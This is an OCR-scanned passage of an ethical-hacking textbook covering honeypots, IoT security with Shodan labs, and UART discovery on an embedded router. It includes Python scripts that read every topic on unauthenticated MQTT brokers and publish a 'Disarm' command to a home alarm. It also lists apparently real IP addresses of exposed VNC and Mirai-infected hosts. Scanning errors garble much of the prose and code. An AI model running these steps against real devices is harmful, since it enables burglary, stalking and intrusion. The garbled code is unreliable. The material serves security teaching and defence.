20 08 2017 CE 55:210) Prececs Start Process "CAMAndewi system dcr exe" 
=) — 29082017 05634 Process Stop Process cmdoexe 
(9) 29082017 09*57:14 Process Start Process "CAWindowsVregeditexe" 
e 29.08 2017 05r57:14 Process Stop Process regedit exe 
(=) — 29082017 035717 Process Start Process "CAWindowsregeditexe" 
($9 29082017 02:58:22 Registry Create Registry Key Key: HKEY CURRENT USERWWew Key #1 
(=) — 29.082017 0:58:40 Registry Rename Registry Key New Key; TrapXDernoKey, Key: HKEY CURRENT USERNew Key #1 


As you can see, the commercial offerings are quite substantial. It 1s hoped that you are 
now better informed as to your options and can select a honeypot technology (open 
source or commercial) that suits your needs. 


summary 


In this chapter, we discussed the subject of deception, as 1t relates to defending a 
network, using honeypot technologies. We started with a discussion of the history of 
deception and honeypots in general. Next, we moved to a discussion of modern 
honeypots, in terms of types and deployment considerations. Then, we worked through a 
series of labs, using the latest open source honeypot tools. Finally, we took a look at a 
commercial solution, TrapX, to see an example of what vendors are bringing to the 
deception battle. 


For Further Reading 
Attivo Networks _https://attivonetworks.com/ 


Awesome list of honeypot resources https://github.com/paralax/awesome-honeypots 
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Cymmetria https://cymmetria.com/product/ 


Good article on controlling and killing Docker 
containers https://medium.com/@lherrera/life-and-death-of-a-container- 
146dfc62f808 


Good place to deposit malware samples for analysis https://malwr.com/submission/ 


Good tutorial on manually deploying Cowrie and Dionaea 
honeypots http://executemalware.com/?p=302 


Illusive Networks https://illusivenetworks.com/ 


Installing Dionaea on EC2 in 40 
minutes https://tazdrumm3r.wordpress.con/2012/08/26/dionaea-honeypot-on-ec2-in- 
40-minutes/ 


Installing Docker on Kali 2017.1, 64 
bit https://gist.github.conYnikallass/e5124756d0e2bdcf898182713ed40bcc 


Installing Ubuntu 16.04  https://tutorials.ubuntu.com/tutorial/tutorial-1nstall-ubuntu- 
server#0 


Installing Ubuntu 16.04 on Amazon 
AWS  http://mobisoftinfotech.conyresources/mguide/launch-aws-ec2-server-set- 
ubuntu- 1 6-04/ 


Modern honey network https://github.com/threatstream/mhn 
T-Pot Honeypot 17.10  https://github.com/dtag-dev-sec/tpotce/releases 
TrapX https://trapx.com 


Ubuntu 16.04 64-bit ISO  http://releases.ubuntu.conyxenial/ubuntu-16.04.3-server- 
amd64.1so 


Video of TrapX trapping Wannacry in a honeypot  https://vimeo.com/218929440 
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Internet of Things to Be Hacked 


This chapter covers the topic of Internet-connected devices, called the Internet of 
Things (IoT). The phrase “Internet of Things" was first coined in a 1999 presentation at 
MIT by Kevin Ashton.! In 2008, the number of connected devices surpassed the number 
of humans on the planet at 8 billion,” so the security of these devices is becoming 
increasingly important. The pace at which IoT devices are connected is staggering. 
Cisco expects the number of IoT devices to exceed 50 billion by 2020.? Think about that 
for a moment: that 1s more than 8 connected devices for each human on the planet by 
2020. With connected devices controlling an increasing amount of our lives and even 
acting on our behalves, it 1s crucial to understand the security risks these devices 
impose on their unsuspecting users, 1f misconfigured, poorly designed, or just connected 
to the Internet with default credentials. 

In this chapter, we cover the following topics: 

* [nternet of Things (IoT) 

e Shodan IoT search engine 

* JoT worms: it was a matter of time 





Internet of Things (loT) 


The Internet of Things may very well become the Internet of things to be hacked 1f we 


are not careful.^ In fact, as we discuss in this chapter, we are already too late and this 
statement 1s well on its way to becoming a reality. What 1s really scary 1s that users 
often trade convenience over security and are currently not as concerned about security 


as we security professionals would prefer.” 


Types of Connected Things 


There are various types of connected things: some are of large form factors, such as 
robotic machines in factories, and others are very small, such as implanted medical 
devices. The smaller devices suffer from limitations that affect security, such as limited 
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memory, processing capacity, and power requirements. Power sources include batteries, 
solar, radio frequency (RF), and networks. The scarcity of power, particularly in 
remote small devices, 1s a direct threat to security controls such as encryption, which 
might be deemed too expensive, power-wise, and therefore be left out of the design 
altogether. 

The list of connected things 1s too long to provide here, but to get you thinking of the 
various potential security issues, the following short list is provided’: 


e Smart things Smart homes, appliances, offices, buildings, cities, grids, and so 
on 


* Wearable items Devices for the monitoring of movement, such as fitness and 
biomedical wearables (for example, smart devices with touch payment and 
health-monitoring options) 


* Transportation and logistics RFID toll sensors, tracking of shipments, and cold 
chain validation for produce and medical fluids (such as blood and medicine) 


* Automotive Manufacturing, sensors on cars, telemetry, and autonomous driving 


e Manufacturing RFID supply chain tracking, robotic assembly, and part 
authenticity 


* Medical and healthcare Health tracking, monitoring, and delivery of drugs 
* Aviation RFID part tracking (authenticity), UAV control, and package delivery 


e Telecommunications Connecting smart devices with GSM, NFC, GPS, and 
Bluetooth 


* Independent living Telemedicine, emergency response, and geo-fencing 


* Agriculture and breeding Livestock management, veterinarian health tracking, 
food supply tracking and cold chaining, and crop rotation and soil sensors 


* Energy industry Power generation, storage, delivery, management, and payment 


Wireless Protocols 


Most connected devices have some form of wireless communication. The wireless 
protocols include the following: 


Cellular Cellular networks, including GSM, GPRS, 3G, and 4G, are used for long- 
range communications.? This form of communication is helpful when great distances 
exist between nodes, such as connected buildings, automobiles, and smartphones. At the 
time of this writing, this form of communication remains the most secure of the 
alternatives and is difficult to attack directly, but it may be jammed. 


Wi-Fi The venerable IEEE 802.11 protocol has been in place for decades and is well 
known and understood. Of course, there are many security issues with Wi-Fi that are 
also well known. This form of communication has become the de facto standard for 


mid-range communications of connected devices." 


Zigbee The IEEE 802.15.4 protocol 1s a popular standard for short-to-medium-range 
communications, normally up to 10 meters and 1n some conditions up to 100 meters. The 
protocol 1s very useful in applications with low power requirements. The protocol 
allows for a mesh network, enabling intermediate nodes to relay messages to distant 


nodes.!° Zigbee operates in the 2.4 GHz range, which competes with Wi-Fi and 
Bluetooth. 


Z-Wave The Z-Wave protocol is also a popular standard used in the short-to-medium 
range, but offers a longer range due to the lower frequency (908.42 MHz in the US). 

Due to the separate frequency range, it does not compete with other common radios such 
as Wi-Fi and Bluetooth and experiences less interference. 


Bluetooth (LE) The ubiquitous Bluetooth protocol has undergone a facelift of late and 


has been reborn as Bluetooth Low Energy (LE), emerging as a viable alternative.!! 
Although it is backward compatible with Bluetooth, the protocol is considered “smart” 


due to its ability to save power.!? As with Zigbee and Z-Wave, Bluetooth and Bluetooth 
LE cannot communicate directly with the Internet; they must be relayed through a 
gateway device, such as a smartphone or smart bridge/controller. 


6LoWPAN The Internet Protocol version 6 (IPv6) over low-power Wireless Personal 
Area Networks (6LoWPAN) is emerging as a valuable method to deliver IPv6 packets 
over 802.15.4 (Zigbee) networks. Because it can ride over Zigbee and other forms of 
physical networks, it competes with Zigbee, but some would say it completes Zigbee 


because it allows for connection with other IP-connected devices. ° 


Communication Protocols 


IoT has several communication protocols—far too many to list—but here are a few of 


the commonly used ones ^: 


* Message Queuing Telemetry Transport (MQTT) 

* Extensible Messaging and Presence Protocol (XMPP) 

* Data Distribution Service for Real-Time Systems (DDS) 
* Advanced Message Queuing Protocol (AMQP) 


security Concerns 
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The traditional view of confidentiality, integrity, and availability applies to security 
devices, but often not in the same way. When it comes to traditional network devices, a 
premium 1s normally placed on confidentiality, then integrity, and then availability. 
However, when 1t comes to connected devices, the order 1s often reversed, with a 
premium being placed on availability, then integrity, and then confidentiality. This 
paradigm is easy to understand when we consider an embedded medical device that is 
connected via Bluetooth to the user's phone and thereby the Internet. The primary 
concern is availability, then integrity, and then confidentiality. Even though we are 
talking about sensitive medical 1nformation, there 1s no need to be concerned with 
confidentiality 1f the device can't be reached or trusted. 

There are, however, some additional security concerns: 


e Vulnerabilities may be difficult, if not impossible, to patch. 


e Small form factors have limited resources and power constraints, often preventing 
security controls such as encryption. 


e Lack of a user interface makes the device “out of sight, out of mind.” It's often 
online for years with little to no thought on the owner’s part. 


* Protocols such as MQTT have limitations, including no encryption, often no 
authentication, and cumbersome security configuration, as you will see later in 
this chapter. 


Shodan IoT Search Engine 


The Shodan search engine is focused on Internet-connected devices!> and is slowly 
becoming known as the Internet of Things (IoT). It 1s important to realize that this 1s not 
your father's Google. Shodan searches for banners, not web pages. In particular, Shodan 
scans the Internet looking for banners 1t recognizes and then indexes that data. You can 
submit your own banner fingerprints and IPs for scanning, but that requires a paid 
license. 


Web Interface 


If you want to lose an afternoon, or even weekend, simply go to https://images.shodan.10o 
(requires $49/year membership). Perhaps you will find a large toddler, napping, as 
shown next. (That's a joke; this 1s obviously a tired adult.) 


| CZ — RTSP/1.0 200 OK 
CSeq: 1 


Server: Hipcam RealServer/V1.8 


Public: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY, SET. PARAMETER, GET, PARAMETER 


£01 7-11-06 16:72:53 





On a more serious note, with a little more searching, using the search string 
‘authentication disabled” and filtering on VNC, you’ll receive more interesting results 
(notice the “Motor Stop” button). 
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RFE 003.008 
authentication disabled 
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If you're interested in industrial control systems (ICS) and are looking for uncommon 


services, you can use the search string “category:ics -http -html -ssh -ident country:us,” 
which yields the following view. 
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beta 


From this view, we can tell there are more than 200,000 ICS services running besides 
HTTP, HTML, SSH, and IDENT (which are common services). Further, we can tell the 
most common cities, top services, and top organizations hosting these ICS services. Of 
course, we would need to do further filtering and rule out honeypots—but more on that 
later. 

If we wanted to show this data in a report format, we could generate a free report, as 
shown here. 
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Shodan Command-Line Interface 


For those who prefer the command line, Shodan does not disappoint. It offers a 
powerful command-line tool, with full functionality. 





NOTE The labs in this chapter were performed on Kali Linux 2017 (32 bit), but 
should work on other versions of Linux. Also, an API key is required from Shodan, 
which you can get for free by registering an account there. 


Lab 22-1: Using the Shodan Command Line 


In this lab, we will explore the Shodan command line. Install the toolset using 
easy install, like so: 


root@kali:~# easy install shodan 

Searching for shodan 

Best match: shodan 1.7.5 

Adding shodan 1.7.5 to easy-install.pth file 


Using /usr/local/lib/python2.7/dist-packages 
Processing dependencies for shodan 
Finished processing dependencies for shodan 


Then, initialize the API key: 


root@kali:~# shodan init 9G19LLaQUJCWrlEOFNDGUY-MASKED 
Successfully initialized 


Next, test for credits available 1n your account: 


rootekali:-4 shodan info 
Query credits available: 100 
Scan credits available: 100 


Finally, run a scan to find VNC services (RFB), showing IP, port, org, and hostnames: 


root@kali:-# shodan search --fields ip str,port,org,hostnames RFB > results.txt 
root@kali:~# wc -1 results.txt 

101 results.txt 

root@kali:~# head results.txt 

117.190.84.102 5901 China Mobile Guangdong 


76.97.176.189 5900 Comcast Cable c-76-97-176-189.hsdl.ga.comcast.net 

91.226.11.14 5900 LLC tc Tel Center node0Ol.tcorp.ru 

46.229.234.40 5901 VNET, a.s. 

211.217.164.138 5900 Korea Telecom 

185.31.163.151 5900 JSC Internet-Cosmos ipmi.planetahost.ru 

147.47.38.124 5900 Seoul National University 

61.92.62.18 5901 Hong Kong Broadband Network  061092062018.ctinets.com 

180.111.85.166 5900 China Telecom jiangsu 

91.65.157.77 8080 Vodafone Kabel Deutschland ip5bálS9dád.dynamic.kabel-deutschland.de 


One feature of the command-line tool 1s the ability to check the honeyscore, a score 
that tests whether a site 1s a honeypot using heuristics developed by Shodan: 


root@kali:~# shodan honeyscore 54.187.148.155 
Not a honeypot 

Score: 0.5 

root@kali:~# shodan honeyscore 52.24.188.77 
Honeypot detected 

Score: 1.0 


Shodan API 


Others may prefer a Python interface to the Shodan data, and, of course, you can use 
that, too. The Shodan Python library comes with the Shodan command-line tools, but the 
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library may be installed separately, as well, using pip. 


Lab 22-2: Testing the Shodan API 


In this lab, we test out the Shodan API. You need an API key; a free one will do for this 
test case because we are not using any filters. We will build a Python script to search 
for MQTT services that include the word alarm in the banner. This code and all code in 
this chapter can be found on the book's download site and GitHub repository. 


root@kali:~# pip install shodan 
Collecting shodan 
Downloading shodan-1.7.5.tar.gz (41KB) 
1003 | | = 1E 1. 7E, s 
«truncated» 
roote@kali:~# cat mqtt-search.py 


import shodan 
import time 
import os 


def shodan search(): 


SHODAN API KEY = "SGl19LLaQUJCWrlEOFNDGUY-MASKED" 
SEARCH = "mgtt alarm" 
api = shodan.Shodan(SHODAN API KEY) 


Cry: 
results - api.search(SEARCH) 
filel = opení("mqtt-results.txt", "w") 
for result in results['matches']: 
searching = result['ip str'] 
filel.write(searching + '\n') 
filel.close() 
except shodan.APIError, e: 
pass 


shodan search() 
root@kali:~# 


Next, we run the MQTT search and observe the results: 


root@kali:~# python mqtt-search.py 
root@kali:~# wc -1 mqtt-results.txt 
56 mqtt-results.txt 

root@kali:-~# head mqtt-results.txt 
141.255.46.14 

42.120.17.118 

118.122.20.9 

217.63.24.87 

120.113.65.51 

114.55.39.219 

151.27.1I103.165 

58.42.224. 105 

4243,99.124.29 

777.69.18.228 

root@kali:-# 


Lab 22-3: Playing with MQTT 
In the previous lab, the search string “matt alarm" was supplied to Shodan to identify IP 


addresses running MQTT with an alarm listening. In this lab, we scan one of the 
resulting IPs for additional information. The following code was adapted from an 


example by Victor Pasknel.!® 


root@kali:~# pip install paho-mqtt 
Collecting paho-mqtt 

Downloading paho-mqtt-1.3.1.tar.gz (80kB) 

1005 | rs | 5: 102kB/s 

Building wheels for collected packages: paho-mqtt 

Running setup.py bdist wheel for paho-mqtt ... done 

Stored in directory: 
/root/.cache/pip/wheels/20/d8/0d/acdc8f2890111b7be7de71deebef064 
fb83be0313dfff0493 
Successfully built paho-mqtt 
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Installing collected packages: paho-mqtt 
Successfully installed paho-mqtt-1.3.1 
root@kali:~# cat mqtt-scan.py 

import paho.mqtt.client as mqtt 


Odef on connect(client, userdata, flags, rc): 
print "[+] Connection successful" 
client.subscribe('#', qos = 1) # Subscribes to all topics 


Odef on message(client, userdata, msg): 

print '[+] Topic: $s - Message: $s' % (msg.topic, msg.payload) 
client = mqtt.Client(client id = "MqttClient") 
Oclient.on connect = on connect 
Oclient.on message - on message 
Gclient.connect('IP GOES HERE - MASKED', 1883, 30) 
@client.loop forever() 


This Python program is simple: after loading the mqtt.client library, the program defines 
a callback for both the initial connection g (print the connection message and subscribe 
to all topics on the server) and when a message is received @ (print the message). Next, 
the client is initialized @ and the callbacks are registered ge. Finally, the client is 
connected @ (be sure to change the masked IP on this line) and sent into a loop @. 





NOTE No authentication is involved here (unfortunately), so no kittens were harmed 
in the filming of this movie! 


Next, we run the MQTT scanner: 


root@kali:~# python mqtt-scan.py 

[+] Connection successful 

[+] Topic: /garage/door/ - Message: On 

[+] Topic: owntracks/CHANGED/bartsimpson - Message: 

[" type":"location","tid":"CHANGED","acc":5,"batt":100,' conn":"m","1lat";- 
47.CHANGEDO0O,"lon":-31.CHANGEDO0O, "tst":CHANGED," cp":true} 

[+] Topic: home/alarm/select - Message: Disarm 

[+] Topic: home/alarm/state - Message: disarmed 

[+] Topic: owntracks/CHANGED/bartsimpson - Message: 
{"_type":"lLocation", "tid": "CHANGED", "ace":5,"batt":100,"conn":"m", "lat": - 
47.CHANGEDO1,"lon":-31.CHANGEDO1,"tst":MASKED," cp":true} 
[+] Topic: owntracks/CHANGED/bartsimpson - Message: 

{" type":"location","tid":"CHANGED","acc":5,"batt":100,"conn":"m","lat":- 
47.CHANGEDO2,"lon":-31.CHANGEDO2,"tst":MASKED," cp":true} 

[+] Topic: owntracks/CHANGED/bartsimpson - Message: 

{" type":"location", "tid": "CHANGED", "ace":5,"batt":100, "conn": "m","lat":- 


47.CHANGED-3,"lon":-31.CHANGEDO3,"tst":MASKED," cp":true} 


The output will be analyzed in the next section. 


Implications of This Unauthenticated Access to MQTT 


Much to our surprise, the output of the MQTT scanner shows the home not only has 
alarm information (Disarmed) but garage status as well. Also, through the magic of the 
creepy Ownlracks app running on the user's phone, we know the owner is not home and 
is on the move, because every few seconds new LAT/LONG data 1s provided. That's 
like having a police scanner telling you how long until the owner 1s home. Wow, now 
that 1s scary! As 1f that weren't bad enough, some home automation systems allow for 
writing, not just reading.!’ Writing is done through the publish command, so instead of 
subscribing, you can publish. For example, we can issue a fake command to a fake 
system (really, it does not exist; it 1s just an example). 





NOTE To issue commands and change a configuration on a system that does not 
belong to you may cross some legal lines and certainly crosses ethical lines, unless you 
are authorized to test the system. You have been warned! 


Here's our fake system example (given for illustrative purposes only), again adapted 
from the example given by Victor Pasknel!*: 
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root@kali:~# cat mqtt-alarm.py 
import paho.mqtt.client as mqtt 


def on_connect (client, userdata, flags, rc): 
print "[«] Connection success" 
client.publish('home/alarm/set', "Disarm") 


client = mqtt.Client(client id = "MqttClient") 
client.on connect = on connect 
client.connect('IP GOES HERE', 1883, 30) 


IoT Worms: It Was a Matter of Time 


In late 2016, attackers became upset with Brian Krebs, an Internet journalist who 
documented several hacks, and knocked him offline using a massive distributed denial- 
of-service (DDOS) attack." Now, DDOS attacks are not uncommon, but what is new is 
the method of attack. For the first time in history, an army of vulnerable IoT devices, 
namely cameras, were used in the attack. Further, DDOS attacks are normally reflective 
types of attacks, whereby an attacker tries to amplify the attack by leveraging protocols 
that require a simple command request and have a massive response. In this case, 1t was 
not a reflective attack at all—]ust normal requests, coming from countless infected 


hosts, which generated some 665 Gbps of traffic, nearly doubling the previous record.^? 
On the sending end of the attack were Internet-connected cameras that were found by 
attackers to have default passwords. The worm, dubbed Mirai, after a 2011 anime 
series, logs into Internet-based cameras using a table of more than 60 default 
passwords, commonly known from different vendors. The worm was careful to avoid 
the United States Post Office and Department of Defense IPs, but all others were fair 
game.^! The servers that hosted Krebs’ website had no chance, and even their hosting 
service, Akamai, who is known for protecting against DDOS attacks, dropped him after 
reportedly painful deliberations.” The Mirai worm hit others as well, becoming the 
most notorious worm at that time and garnering much publicity and causing worldwide 
concern. Later, Mirai-infected hosts were used to exploit other vulnerabilities 1n 
routers, extending the threat of the original vulnerability.” Eventually, copycats joined 
in and many Mirai variants sprung up.** The number of infected hosts nearly doubled to 
493,000 after the source code was released.” 

At the time of this writing, attackers are beginning to target IoT devices more and 
more. No longer are attackers checking for default passwords; authors of the IoT Reaper 
worm are wielding vulnerabilities that leave millions of online cameras vulnerable.*° 
One thing 1s for sure: IoT devices cannot hide, as this chapter has shown. If they are 
connected to the Internet, they will be found. 


Lab 22-4: Mirai Lives 


Even after more than a year of battling Mirai, many infected hosts are still online. With 
Shodan, we can search for Mirai-infected hosts: 


root@kali:~# shodan search --fields ip str,port,org,hostnames category:mirai > results2.txt 
root@kali:~# head results2.txt 


67.138.130.150 FAC Integra Telecom 

177.23.74.135 21 Provedor de Servi?os de Internet Ltda 177-23-74- 
135.interminas.com.br 

67.136.194.9 23 Integra Telecom 

173.49.87.180 443 Verizon Fios pool-173-49-87-180.phlapa.fios.verizon.net 
173.210.32.165 23 EarthLink static-173-210-32- 
165.ngn.onecommunications.net 

63.131.121.233 23 EarthLink static-63-131-121- 
233.mil.o0necommunications.net 

67.51.126.114 23 Integra Telecom 

70.99.115.150 23 Integra Telecom 

72.248.24.48 23 EarthLink static-72-248-24-48.ct.onecommunications.net 
173.210.124.67 23 EarthLink static-173-210-124- 


67.ngn.onecommunications.net 


Prevention 


Now that you have seen the implications of open systems with no authentication on the 
Internet, here 1s some practical advice: hack yourself! Seriously, Shodan has many free 
searches, so why not take advantage of that service—before someone else does? 
Conduct a search of your home IP address, using ww w.whatismyip.com or a similar 
service, as well as the IP addresses of your family members, business, or anyone you 
know. Another valuable resource you should know about is the Internet of Things 
scanner by BullGuard (see the “For Further Reading" section). It allows you to scan 
your home and see whether or not you are in Shodan. 


summary 


In this chapter, we discussed the increasing array of Internet-connected things that 
comprise the IoT and discussed the network protocols they use. Next, we explored the 
Shodan search engine, which specializes in finding IoT devices. Finally, we discussed 
what was bound to happen: the advent of IoT worms. After reading this chapter, you 
should be better prepared to 1dentify, protect, and defend your things and those of your 
friends, family, and clients. 


For Further Reading 


“Distinguishing Internet-Facing Devices using PLC Programming 
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Information" https://www.hsdl.org/?abstract&did=757013 
Internet of Things Scanner by BullGuard  https://10tscanner.bullguard.convY 


NIST Special Publication 800-82, Revision 2, *Guide to Industrial 
Control Systems (ICS) Security" 
http://nvlpubs.nist.gov/nistpubs/SpecialPublications/ NIST. SP.800-8212.pdf 


*Quantitatively Assessing and Visualizing Industrial System Attack 
Surfaces" https://www.cl.cam.ac.uk/—fms27/papers/2011 -Leverett-1ndustrial.pdf 
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Dissecting Embedded Devices 


This chapter provides a high-level view of embedded devices with the 1ntention of 
providing a vocabulary for and high-level understanding of potential areas of concern. 
Embedded devices are electrical or electro-mechanical devices that meet a specific 
need or have a limited function. A few examples of embedded devices include security 
systems, network routers/switches, cameras, garage door openers, smart thermostats, 
controllable light bulbs, and mobile phones. As our devices gain remote connectivity 
for our convenience, they also provide more opportunity for an attacker to enter our 
lives through our networks. 

Much of the discussion 1n this chapter revolves around integrated circuits (ICs). An IC 
is a collection of electrical components within a small package, often referred to as a 
chip. A simple example is the quad 2-input OR! gate IC, where four 2-input OR circuits 
are implemented inside a single chip. In our case, the ICs will be much more complex 
and contain the entire multiple-computing elements inside a single IC. Also, note that 
this chapter assumes you are familiar with a multimeter and the basic concepts of 
electrical circuits, such as voltage, current, resistance, and ground. 

In this chapter, we discuss the following topics: 

e CPU 

e Serial interfaces 

* Debug interfaces 

e Software 





CPU 


Unlike the desktop systems that most people are familiar with, the embedded world uses 
many different processing architectures based on embedded functionality, required 
complexity of the system, price, power consumption, performance, and other 
considerations. Because embedded systems generally have much more defined 
functionality, they tend to lend themselves to more quantifiable performance 
requirements. As a result, a blend of software and hardware requirements are used to 
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determine the appropriate microprocessor, microcontroller, or system on chip (SoC). 


Microprocessor 


Microprocessors do not include memory or program storage internal to the chip. 
Microprocessor-based designs can utilize a large amount of memory and storage and 
can run sophisticated operating systems such as Linux. The common PC 1s an example of 
a device utilizing a microprocessor-based design. 


Microcontrollers 


Common to the embedded world 1s the microcontroller. The microcontroller generally 
has a CPU core (or cores), memory, storage, and I/O ports, all within a single chip. The 
microcontroller is well suited to highly embedded designs that perform simple or well- 
defined lower-performance applications. Due to the simplicity of the applications and 
hardware, the software on the microcontroller is typically written in a lower language 
such as assembly or C and does not include an operating system (OS). Applications for 
a microcontroller include an electronic door lock and a TV remote. 

Depending on the specific microcontroller, protections may be implemented in 
hardware to help secure the applications. Examples are read protections for the 
program storage and disabling the on-chip debugging interface from becoming active. 
Although these protections provide a layer of protection, there are no guarantees that the 
protections cannot be bypassed. 


System on Chip (SoC) 


The SoC is one or more microprocessor cores or microcontrollers with a wide variety 
of integrated hardware features within a single IC. For example, the SoC for a phone 
may contain a Graphics Processing Unit (GPU), sound processor, Memory Management 
Unit (MMU), cellular, and network controller. The main benefit of the SoC is reduced 
cost due to fewer chips and smaller-size applications. These are typically used ina 
more custom fashion. Whereas the microcontroller stores the program internally and 
provides limited memory, the SoC typically utilizes external storage and memory. 


Common Processor Architectures 

Although there are many microcontroller architectures, such as Intel 8051, Freescale 
(Motorola) 68HC11, and Microchip PIC, two architectures show up much more in 
Internet-connected devices: ARM and MIPS. Knowing the processor architecture 1s 
important when using tools such as disassemblers, build tools, and debuggers. 
Identification of the processor architecture can typically be done by visually inspecting 


the board and locating the processor. 

ARM 1s a licensed architecture that is used by many microprocessor, microcontroller, 
and SoC manufacturers such as Texas Instruments, Apple, Samsung, and more. The 
ARM cores are licensed in multiple profiles based on the intended applications. ARM 
cores come in both 32- and 64-bit architectures and can be configured as either big or 
little endian. Table 23-1 illustrates the profiles and applications that would typically use 
them. 


Example 

Profile Description Applications 

Application The most powerful of the profiles. Its main Mobile phones 
distinguishing feature is the MMU, which allows Tablets 
it to run feature-rich operating systems such as Set-top boxes 
Linux and Android. 

Real-time Designed for applications that require real- Network routers 
time performance characteristics. Features low and switches 
interrupt latency and memory protection. It does Cameras 
not contain an MMU. Cars 


Microcontroller Designed for highly embedded systems with lower Industrial controls 
size and performance requirements. Features Programmable lights 
low interrupt latency, memory protection, and 
embedded memory. 





Table 23-1 ARM Profiles? 


MIPS is now owned by Tallwood MIPS, Inc., but has been licensed to several 
manufacturers such as Broadcom, Cavium, and others.? Like ARM, MIPS has 32- and 
64-bit variants and can be run in either big or little endian mode. It is commonly found 
in networking devices such as wireless access points and small home routers. 


Serial Interfaces 


A serial interface communicates with a peer one bit at a time, serially, over a 
communication channel. Being that only one bit 1s being transmitted at a time, fewer pins 
are required on an IC. In contrast, parallel interface communications transmit multiple 
bits at a time and require more pins (one pin per bit). Several serial protocols are used 
in embedded systems, but we will only discuss the Universal Asynchronous Receiver- 
Transmitter (UART), Serial Peripheral Interface (SPI), and Inter-Integrated-Circuit 


(IC) protocols. 
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UART 


The Universal Asynchronous Receiver- Transmitter protocol allows two devices to 
communicate serially over a communications channel. UART 1s commonly used for 
connecting to a console to allow a human to interact with the device. Although most 
devices will not have an externally available interface for communicating serially, many 
will have an internal interface that was used during device development and testing. 
While performing device testing, I have found both authenticated and unauthenticated 
consoles on internally accessible serial interfaces. 

UART requires three pins to communicate and usually comes in a gang of four pins 
(see ). You may see labels on the board, but generally these pads or headers 
are not labeled and need to be discovered. Although shows a nice example 
where the headers stand out as candidates for serial communications, the layout of the 
pins might not always be as straightforward and could be mingled within a larger 
number of pins. 





Figure 23-1 Unlabeled gang of four serial ports on a Ubiquiti ER-X 





The main reason for locating and connecting to the internal serial ports is to attempt to 
locate information that was not intended to be accessible to the user of the system. For 
example, the web interface does not generally yield access to the file system directly, 


but the serial console on a Linux-based system will give the user access to the file 
system. When the serial port is authenticated, you will have to brute-force the 
credentials or attempt to bypass the authentication by altering the boot process 
(potentially by using a JTAG debug port). 

To discover the serial pads, a tool such as JTAGulator, developed by Joe Grand, can 
be used to brute-force signals and yield the pad layout and baud rate. The following is 
an example of running the UART identification test against the Ubiquiti ER-X shown in 
Figure 23-1, where the labeled pins were identified using JTAGulator. Here are the 
steps involved: 


1. Locate the headers or pads you believe could be UART by inspecting the board. 
(Seeing two to four pads/pins grouped together on the board 1s a good sign, but as 
mentioned earlier, they can be intermingled within other functional pads/pins.) 


2. Discover the target voltage by probing the board with a multimeter or identifying 
an IC and looking up the datasheet. 


3. Discover a ground that 1s easy to connect to by measuring resistance (Ohms) 
between a known ground (such as the chassis ground) and pins that are easy to 


connect to (effectively 0 Ohms between the known ground and the pin in question). 


4. Connect the board to your JTAGulator 1f you are fortunate enough to find headers, 
or solder a header to the board and then connect (see Figure 23-2). 
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Figure 23-2 Connection between JTAGulator and Ubiquiti ER-X 





5. Verify the version of JTAGulator firmware @. The version can be checked against 


the code on the repository at 
https://github.com/grandideastudio/jtagulator/releases. If the version is not the 
latest, follow the directions at www. youtube.com/watch?v=xl Xw y-weG1M. 


6. Enable UART mode @ and set the target voltage e. 
7. Run the UART identification test @. 


8. On success, look for reasonable responses such as carriage returns or line feeds © 
(0D or 0A). 


9. Verify the identified settings by running in pass-thru mode with the baud rate 
candidate @ (57600 in our case). 


€ ,. Omitted ASCII ART ..- 
Welcome to JTAGulator. Press 'H' for available commands. 
Warning: Use of this tool may affect target system behavior! 


> hh 

Target Interfaces: 

J JTAG/IEEE 1149.1 

U UART/Asynchronous Serial 
G GPIO 


General Commands: 

V Set target I/O voltage (1.2V to 3.3V) 
I Display version information 

H Display available commands 
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O> i 

JTAGulator FW 1.4 

Designed by Joe Grand, Grand Idea Studio, Inc. 
Main: jtagulator.com 

Source: github.com/grandideastudio/jtagulator 
Support: www.parallax.com/support 

@> u 

@UART> v 

Current target I/O voltage: Undefined 

Enter new target I/O voltage (1.2 - 3.3, 0 for off): 3.3 
New target I/O voltage set: 3.3 

Ensure VADJ is NOT connected to target! 


QUART> u 
UART pin naming is from the target's perspective. 


Enter text string to output (prefix with Xx for hex) [CR]: 


Enter starting channel [0]: 

Enter ending channel [1]: 

Possible permutations: 2 

Press spacebar to begin (any other key to abort]... 
JTAGulating! Press any key to abort... 

<. Omitted lower baud rates .. 

TAD: 1 

RXD: OQ 

Baud: 9600 

Data: '.1.!Hv.Sk...... [ 60 FC 5D 84 21 48 76 AF 53 6B 1A 


TXD: 1 
RXD: 0 

Baud: 14400 

Data: [..../B«f([.*J.Z. [ 7B 09 DE 8A DA 2F 42 2B 66 7B DB 


TAD: 1 

RAD: Ò 

Baud: 19200 

Data: T..W...*.q..0... [ 54 81 C6 57 BS 19 CE 2A 9A 71 EE 


TAD: 1 

RAD: 0 

Baud: 28800 

Data: ....[H..g.)o1.L. [ 9D 08 E2 OA 5B 48 88 0C 67 F2 29 


TAD: 1 

RAD: 0 

Baud: 31250 

Data: ..[*.t».6". ..z [ F4 C2 5B 2B BS 74 3E 95 36 22 03 


TXD: 1 
RXD: 0 

Baud: 38400 

Data: ..9 3SdàWV./...h0 [ F9 FC 39 20 33 53 64 57 56 05 2F 


THO: 1 

RXD: OQ 

Baud: 57600 

Data: .. [ OD OA J 


THD: 1 

RXD: 0 

Baud: 76800 
Data: . [ 0C ] 


92 


2A 


00 


SF 


oF 


SD 


QA 


4A 


51 


31 


20 


BS 


EF 


99 


18 


1D 


82 


B7 


EE 


>A 


EA 


4c 


DF 


68 


iF 


10 


19 


0c 


TA 


30 


TAD: 1 

RXD: 0 

Baud: 115200 

Data: . [ F8 ] 

<.. Omitted Higher Baud Rates ..» 

@UART> p 

UART pin naming is from the target's perspective. 
Enter X to disable either pin, if desired. 

Enter TXD pin [1]: 

Enter RXD pin [0]: 

Enter baud rate [0]: 57600 

Enable local echo? [y/N]: y 

Entering UART passthrough! Press Ctrl-X to abort... 


Welcome to EdgeOS ubnt ttySl 


By logging in, accessing, or using the Ubiquiti product, you 
acknowledge that you have read and understood the Ubiquiti 
License Agreement (available in the Web UI at, by default, 
http://192.168.1.1) and agree to be bound by its terms. 


If the test is successful, you should be able to interact with the serial console now. 
Resetting the device with the serial console connected is typically very revealing. The 
text 1s too long to include here, so I’ve provide snippets from the boot messages: 


e The processor is a MT-7621A (MIPS): 
ASIC MT7621AÀ DualCore (MAC to MT7530 Mode) 
e [tcan be reprogrammed via U-Boot: 
Please choose the operation: 
1: Load system code to SDRAM via TFTP. 
Load system code then write to Flash via TFTP. 
Boot system code via Flash (default). 
Entr boot command line interface. 
